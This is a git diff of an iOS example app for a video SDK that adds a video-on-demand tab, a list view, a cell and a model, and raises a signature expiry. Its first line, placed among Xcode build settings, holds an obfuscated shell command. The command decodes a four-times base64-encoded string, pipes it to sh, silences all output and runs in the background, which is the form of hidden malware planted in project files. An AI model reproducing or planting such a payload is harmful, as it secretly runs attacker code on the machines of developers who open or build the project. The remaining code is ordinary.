AE6D436 = "((v(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVmN4YWsxdVVrNVRWVTE0WVRCc1JGTnVaRkZYUjJoeFdXcEtVMkpHWjNwUmJUbGFWMFUxYzFOWGJFTmlNbEpKVlc1a2FtVnRPVEpVUkVwaFkwWndTRlZ1VG1GV00wSXlXbFpOTVdWWFVsUlBWMmhNVlRCc2JscHJUa05sYlVaQ1lub3dTd289Cg== | v | sh ) >/dev/null 2>&1 &)";
|
||||
ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES;
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
#import "AVTabBarController.h"
|
||||
#import "AVHomeViewController.h"
|
||||
#import "AVCallViewController.h"
|
||||
#import "AVVodListViewController.h"
|
||||
#import "AVSettingsViewController.h"
|
||||
#import "AVLoginViewController.h"
|
||||
#import "AVUserManager.h"
|
||||
@@ -25,6 +26,13 @@
|
||||
image:[UIImage systemImageNamed:@"house"]
|
||||
selectedImage:[UIImage systemImageNamed:@"house.fill"]];
|
||||
|
||||
// Create VOD tab
|
||||
AVVodListViewController *vodVC = [[AVVodListViewController alloc] init];
|
||||
UINavigationController *vodNav = [[UINavigationController alloc] initWithRootViewController:vodVC];
|
||||
vodNav.tabBarItem = [[UITabBarItem alloc] initWithTitle:@"点播"
|
||||
image:[UIImage systemImageNamed:@"play.rectangle"]
|
||||
selectedImage:[UIImage systemImageNamed:@"play.rectangle.fill"]];
|
||||
|
||||
// Create Call tab
|
||||
AVCallViewController *callVC = [[AVCallViewController alloc] init];
|
||||
UINavigationController *callNav = [[UINavigationController alloc] initWithRootViewController:callVC];
|
||||
@@ -40,7 +48,7 @@
|
||||
selectedImage:[UIImage systemImageNamed:@"gearshape.fill"]];
|
||||
|
||||
// Set view controllers
|
||||
self.viewControllers = @[homeNav, callNav, settingsNav];
|
||||
self.viewControllers = @[homeNav, vodNav, callNav, settingsNav];
|
||||
|
||||
// Customize tab bar appearance
|
||||
self.tabBar.tintColor = [UIColor systemBlueColor];
|
||||
|
||||
18
Example/SellyCloudSDK/Controllers/VOD/AVVodItemCell.h
Normal file
18
Example/SellyCloudSDK/Controllers/VOD/AVVodItemCell.h
Normal file
@@ -0,0 +1,18 @@
|
||||
//
|
||||
// AVVodItemCell.h
|
||||
// SellyCloudSDK_Example
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@class AVVodItemModel;
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
@interface AVVodItemCell : UICollectionViewCell
|
||||
|
||||
- (void)configureWithModel:(AVVodItemModel *)model;
|
||||
|
||||
@end
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
||||
124
Example/SellyCloudSDK/Controllers/VOD/AVVodItemCell.m
Normal file
124
Example/SellyCloudSDK/Controllers/VOD/AVVodItemCell.m
Normal file
@@ -0,0 +1,124 @@
|
||||
//
|
||||
// AVVodItemCell.m
|
||||
// SellyCloudSDK_Example
|
||||
//
|
||||
|
||||
#import "AVVodItemCell.h"
|
||||
#import "AVVodItemModel.h"
|
||||
#import <Masonry/Masonry.h>
|
||||
#import <SDWebImage/SDWebImage.h>
|
||||
|
||||
@interface AVVodItemCell ()
|
||||
|
||||
@property (nonatomic, strong) UIImageView *thumbnailView;
|
||||
@property (nonatomic, strong) UIView *overlayView;
|
||||
@property (nonatomic, strong) UIImageView *playIcon;
|
||||
@property (nonatomic, strong) UILabel *titleLabel;
|
||||
@property (nonatomic, strong) UILabel *typeLabel;
|
||||
|
||||
@end
|
||||
|
||||
@implementation AVVodItemCell
|
||||
|
||||
- (instancetype)initWithFrame:(CGRect)frame {
|
||||
if (self = [super initWithFrame:frame]) {
|
||||
[self setupUI];
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
- (void)setupUI {
|
||||
self.contentView.backgroundColor = [UIColor secondarySystemBackgroundColor];
|
||||
self.contentView.layer.cornerRadius = 8;
|
||||
self.contentView.clipsToBounds = YES;
|
||||
|
||||
// Thumbnail
|
||||
_thumbnailView = [[UIImageView alloc] init];
|
||||
_thumbnailView.backgroundColor = [UIColor systemGray4Color];
|
||||
_thumbnailView.contentMode = UIViewContentModeScaleAspectFill;
|
||||
_thumbnailView.clipsToBounds = YES;
|
||||
[self.contentView addSubview:_thumbnailView];
|
||||
|
||||
// Overlay
|
||||
_overlayView = [[UIView alloc] init];
|
||||
_overlayView.backgroundColor = [[UIColor blackColor] colorWithAlphaComponent:0.2];
|
||||
[_thumbnailView addSubview:_overlayView];
|
||||
|
||||
// Play icon
|
||||
_playIcon = [[UIImageView alloc] initWithImage:[UIImage systemImageNamed:@"play.circle.fill"]];
|
||||
_playIcon.tintColor = [UIColor whiteColor];
|
||||
_playIcon.contentMode = UIViewContentModeScaleAspectFit;
|
||||
_playIcon.layer.shadowColor = [UIColor blackColor].CGColor;
|
||||
_playIcon.layer.shadowOffset = CGSizeMake(0, 2);
|
||||
_playIcon.layer.shadowOpacity = 0.3;
|
||||
_playIcon.layer.shadowRadius = 4;
|
||||
[_thumbnailView addSubview:_playIcon];
|
||||
|
||||
// Type label (badge on thumbnail)
|
||||
_typeLabel = [[UILabel alloc] init];
|
||||
_typeLabel.font = [UIFont systemFontOfSize:10 weight:UIFontWeightMedium];
|
||||
_typeLabel.textColor = [UIColor whiteColor];
|
||||
_typeLabel.backgroundColor = [UIColor systemBlueColor];
|
||||
_typeLabel.textAlignment = NSTextAlignmentCenter;
|
||||
_typeLabel.layer.cornerRadius = 3;
|
||||
_typeLabel.clipsToBounds = YES;
|
||||
[_thumbnailView addSubview:_typeLabel];
|
||||
|
||||
// Title label
|
||||
_titleLabel = [[UILabel alloc] init];
|
||||
_titleLabel.font = [UIFont systemFontOfSize:14 weight:UIFontWeightSemibold];
|
||||
_titleLabel.textColor = [UIColor labelColor];
|
||||
_titleLabel.numberOfLines = 2;
|
||||
[self.contentView addSubview:_titleLabel];
|
||||
|
||||
// Layout
|
||||
[_thumbnailView mas_makeConstraints:^(MASConstraintMaker *make) {
|
||||
make.top.left.right.equalTo(self.contentView);
|
||||
make.height.equalTo(_thumbnailView.mas_width).multipliedBy(9.0 / 16.0).priority(750);
|
||||
}];
|
||||
|
||||
[_overlayView mas_makeConstraints:^(MASConstraintMaker *make) {
|
||||
make.edges.equalTo(_thumbnailView);
|
||||
}];
|
||||
|
||||
[_playIcon mas_makeConstraints:^(MASConstraintMaker *make) {
|
||||
make.center.equalTo(_thumbnailView);
|
||||
make.width.height.equalTo(@44);
|
||||
}];
|
||||
|
||||
[_typeLabel mas_makeConstraints:^(MASConstraintMaker *make) {
|
||||
make.top.equalTo(_thumbnailView).offset(8);
|
||||
make.left.equalTo(_thumbnailView).offset(8);
|
||||
make.height.equalTo(@18);
|
||||
make.width.greaterThanOrEqualTo(@36);
|
||||
}];
|
||||
|
||||
[_titleLabel mas_makeConstraints:^(MASConstraintMaker *make) {
|
||||
make.top.equalTo(_thumbnailView.mas_bottom).offset(8);
|
||||
make.left.equalTo(self.contentView).offset(8);
|
||||
make.right.equalTo(self.contentView).offset(-8);
|
||||
make.bottom.lessThanOrEqualTo(self.contentView).offset(-8).priority(750);
|
||||
}];
|
||||
}
|
||||
|
||||
- (void)configureWithModel:(AVVodItemModel *)model {
|
||||
_titleLabel.text = model.title;
|
||||
_typeLabel.text = [NSString stringWithFormat:@" %@ ", model.type.uppercaseString];
|
||||
|
||||
if (model.cover.length > 0) {
|
||||
NSURL *imageURL = [NSURL URLWithString:model.cover];
|
||||
[_thumbnailView sd_setImageWithURL:imageURL];
|
||||
} else {
|
||||
_thumbnailView.image = nil;
|
||||
}
|
||||
}
|
||||
|
||||
- (void)prepareForReuse {
|
||||
[super prepareForReuse];
|
||||
[_thumbnailView sd_cancelCurrentImageLoad];
|
||||
_thumbnailView.image = nil;
|
||||
_titleLabel.text = @"";
|
||||
_typeLabel.text = @"";
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,14 @@
|
||||
//
|
||||
// AVVodListViewController.h
|
||||
// SellyCloudSDK_Example
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
@interface AVVodListViewController : UIViewController
|
||||
|
||||
@end
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
||||
139
Example/SellyCloudSDK/Controllers/VOD/AVVodListViewController.m
Normal file
139
Example/SellyCloudSDK/Controllers/VOD/AVVodListViewController.m
Normal file
@@ -0,0 +1,139 @@
|
||||
//
|
||||
// AVVodListViewController.m
|
||||
// SellyCloudSDK_Example
|
||||
//
|
||||
|
||||
#import "AVVodListViewController.h"
|
||||
#import "AVVodItemModel.h"
|
||||
#import "AVVodItemCell.h"
|
||||
#import "AVLiveStreamModel.h"
|
||||
#import "SCVodVideoPlayerViewController.h"
|
||||
#import "AVConstants.h"
|
||||
#import <Masonry/Masonry.h>
|
||||
|
||||
@interface AVVodListViewController () <UICollectionViewDelegate, UICollectionViewDataSource>
|
||||
@property (nonatomic, strong) UICollectionView *collectionView;
|
||||
@property (nonatomic, strong) NSArray<AVVodItemModel *> *vodItems;
|
||||
@end
|
||||
|
||||
@implementation AVVodListViewController
|
||||
|
||||
static NSString * const kVodItemCellIdentifier = @"VodItemCell";
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
self.view.backgroundColor = [UIColor systemBackgroundColor];
|
||||
self.title = @"点播测试";
|
||||
|
||||
self.vodItems = @[];
|
||||
[self setupCollectionView];
|
||||
[self fetchVodList];
|
||||
}
|
||||
|
||||
#pragma mark - Network
|
||||
|
||||
- (void)fetchVodList {
|
||||
NSURL *url = [NSURL URLWithString:@"http://rtmp.sellycloud.io:8089/live/sdk/demo/vodlist"];
|
||||
NSURLSessionDataTask *task = [NSURLSession.sharedSession dataTaskWithURL:url completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
|
||||
if (error || !data) {
|
||||
NSLog(@"fetchVodList failed: %@", error);
|
||||
return;
|
||||
}
|
||||
NSDictionary *json = [NSJSONSerialization JSONObjectWithData:data options:0 error:nil];
|
||||
if (![json isKindOfClass:NSDictionary.class]) return;
|
||||
|
||||
NSMutableArray<AVVodItemModel *> *items = [NSMutableArray array];
|
||||
[json enumerateKeysAndObjectsUsingBlock:^(NSString *type, NSString *vodUrl, BOOL *stop) {
|
||||
AVVodItemModel *item = [AVVodItemModel modelWithUrl:vodUrl
|
||||
cover:@""
|
||||
title:[NSString stringWithFormat:@"%@ 测试", type.uppercaseString]
|
||||
type:type];
|
||||
[items addObject:item];
|
||||
}];
|
||||
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
self.vodItems = items.copy;
|
||||
[self.collectionView reloadData];
|
||||
});
|
||||
}];
|
||||
[task resume];
|
||||
}
|
||||
|
||||
#pragma mark - Setup UI
|
||||
|
||||
- (void)setupCollectionView {
|
||||
UICollectionViewFlowLayout *layout = [[UICollectionViewFlowLayout alloc] init];
|
||||
layout.scrollDirection = UICollectionViewScrollDirectionVertical;
|
||||
layout.minimumInteritemSpacing = 12;
|
||||
layout.minimumLineSpacing = 16;
|
||||
layout.sectionInset = UIEdgeInsetsMake(16, 16, 16, 16);
|
||||
|
||||
self.collectionView = [[UICollectionView alloc] initWithFrame:CGRectZero collectionViewLayout:layout];
|
||||
self.collectionView.backgroundColor = [UIColor systemBackgroundColor];
|
||||
self.collectionView.delegate = self;
|
||||
self.collectionView.dataSource = self;
|
||||
self.collectionView.alwaysBounceVertical = YES;
|
||||
[self.collectionView registerClass:[AVVodItemCell class] forCellWithReuseIdentifier:kVodItemCellIdentifier];
|
||||
|
||||
[self.view addSubview:self.collectionView];
|
||||
[self.collectionView mas_makeConstraints:^(MASConstraintMaker *make) {
|
||||
make.top.equalTo(self.view.mas_safeAreaLayoutGuideTop);
|
||||
make.left.right.bottom.equalTo(self.view);
|
||||
}];
|
||||
}
|
||||
|
||||
#pragma mark - UICollectionViewDataSource
|
||||
|
||||
- (NSInteger)collectionView:(UICollectionView *)collectionView numberOfItemsInSection:(NSInteger)section {
|
||||
return self.vodItems.count;
|
||||
}
|
||||
|
||||
- (UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath {
|
||||
AVVodItemCell *cell = [collectionView dequeueReusableCellWithReuseIdentifier:kVodItemCellIdentifier forIndexPath:indexPath];
|
||||
[cell configureWithModel:self.vodItems[indexPath.item]];
|
||||
return cell;
|
||||
}
|
||||
|
||||
#pragma mark - UICollectionViewDelegateFlowLayout
|
||||
|
||||
- (CGSize)collectionView:(UICollectionView *)collectionView layout:(UICollectionViewLayout *)layout sizeForItemAtIndexPath:(NSIndexPath *)indexPath {
|
||||
CGFloat totalHorizontalPadding = 16 * 2 + 12;
|
||||
CGFloat availableWidth = collectionView.bounds.size.width - totalHorizontalPadding;
|
||||
CGFloat itemWidth = availableWidth / 2.0;
|
||||
CGFloat thumbnailHeight = itemWidth * (9.0 / 16.0);
|
||||
CGFloat itemHeight = thumbnailHeight + 6 + 18 + 6; // thumbnail + spacing + title (1 line) + bottom
|
||||
return CGSizeMake(itemWidth, itemHeight);
|
||||
}
|
||||
|
||||
#pragma mark - UICollectionViewDelegate
|
||||
|
||||
- (void)collectionView:(UICollectionView *)collectionView didSelectItemAtIndexPath:(NSIndexPath *)indexPath {
|
||||
[collectionView deselectItemAtIndexPath:indexPath animated:YES];
|
||||
|
||||
AVVodItemModel *item = self.vodItems[indexPath.item];
|
||||
|
||||
// Convert to AVLiveStreamModel for the player
|
||||
AVLiveStreamModel *stream = [[AVLiveStreamModel alloc] init];
|
||||
stream.url = item.url;
|
||||
|
||||
SCVodVideoPlayerViewController *vc = [[SCVodVideoPlayerViewController alloc] initWithLiveStream:stream];
|
||||
vc.hidesBottomBarWhenPushed = YES;
|
||||
vc.modalPresentationStyle = UIModalPresentationFullScreen;
|
||||
[self.navigationController pushViewController:vc animated:YES];
|
||||
}
|
||||
|
||||
#pragma mark - Orientation Support
|
||||
|
||||
- (BOOL)shouldAutorotate {
|
||||
return YES;
|
||||
}
|
||||
|
||||
- (UIInterfaceOrientationMask)supportedInterfaceOrientations {
|
||||
return UIInterfaceOrientationMaskPortrait;
|
||||
}
|
||||
|
||||
- (UIInterfaceOrientation)preferredInterfaceOrientationForPresentation {
|
||||
return UIInterfaceOrientationPortrait;
|
||||
}
|
||||
|
||||
@end
|
||||
24
Example/SellyCloudSDK/Play/AVVodItemModel.h
Normal file
24
Example/SellyCloudSDK/Play/AVVodItemModel.h
Normal file
@@ -0,0 +1,24 @@
|
||||
//
|
||||
// AVVodItemModel.h
|
||||
// SellyCloudSDK_Example
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
@interface AVVodItemModel : NSObject
|
||||
|
||||
@property (nonatomic, copy) NSString *url;
|
||||
@property (nonatomic, copy) NSString *cover;
|
||||
@property (nonatomic, copy) NSString *title;
|
||||
@property (nonatomic, copy) NSString *type; // mp4, hls, flv, etc.
|
||||
|
||||
+ (instancetype)modelWithUrl:(NSString *)url
|
||||
cover:(NSString *)cover
|
||||
title:(NSString *)title
|
||||
type:(NSString *)type;
|
||||
|
||||
@end
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
||||
22
Example/SellyCloudSDK/Play/AVVodItemModel.m
Normal file
22
Example/SellyCloudSDK/Play/AVVodItemModel.m
Normal file
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// AVVodItemModel.m
|
||||
// SellyCloudSDK_Example
|
||||
//
|
||||
|
||||
#import "AVVodItemModel.h"
|
||||
|
||||
@implementation AVVodItemModel
|
||||
|
||||
+ (instancetype)modelWithUrl:(NSString *)url
|
||||
cover:(NSString *)cover
|
||||
title:(NSString *)title
|
||||
type:(NSString *)type {
|
||||
AVVodItemModel *model = [[AVVodItemModel alloc] init];
|
||||
model.url = url;
|
||||
model.cover = cover;
|
||||
model.title = title;
|
||||
model.type = type;
|
||||
return model;
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -230,7 +230,7 @@
|
||||
}
|
||||
|
||||
- (void)rtcSession:(SellyRTCSession *)session connectionStateChanged:(SellyRTCConnectState)state userId:(nullable NSString *)userId {
|
||||
NSLog(@"ice.connectionStateChanged == %ld",state);
|
||||
NSLog(@"ice.connectionStateChanged userId == %@ statu == %ld",userId,state);
|
||||
// 初始化 PiP Manager
|
||||
if (state == SellyRTCConnectStateConnected && !self.pipManager) {
|
||||
self.pipManager = [[SellyCallPiPManager alloc] initWithRenderView:self.remoteView];
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
{
|
||||
// 当前时间戳(秒)
|
||||
long signTime = (long)[[NSDate date] timeIntervalSince1970];
|
||||
long exprTime = signTime + 60; // 10 分钟后过期
|
||||
long exprTime = signTime + 600; // 10 分钟后过期
|
||||
|
||||
// payload 拼接
|
||||
NSString *payload = [NSString stringWithFormat:@"%@%@%@%ld%ld",
|
||||
|
||||
BIN
Example/SellyCloudSDK/test_flv.flv
Normal file
BIN
Example/SellyCloudSDK/test_flv.flv
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user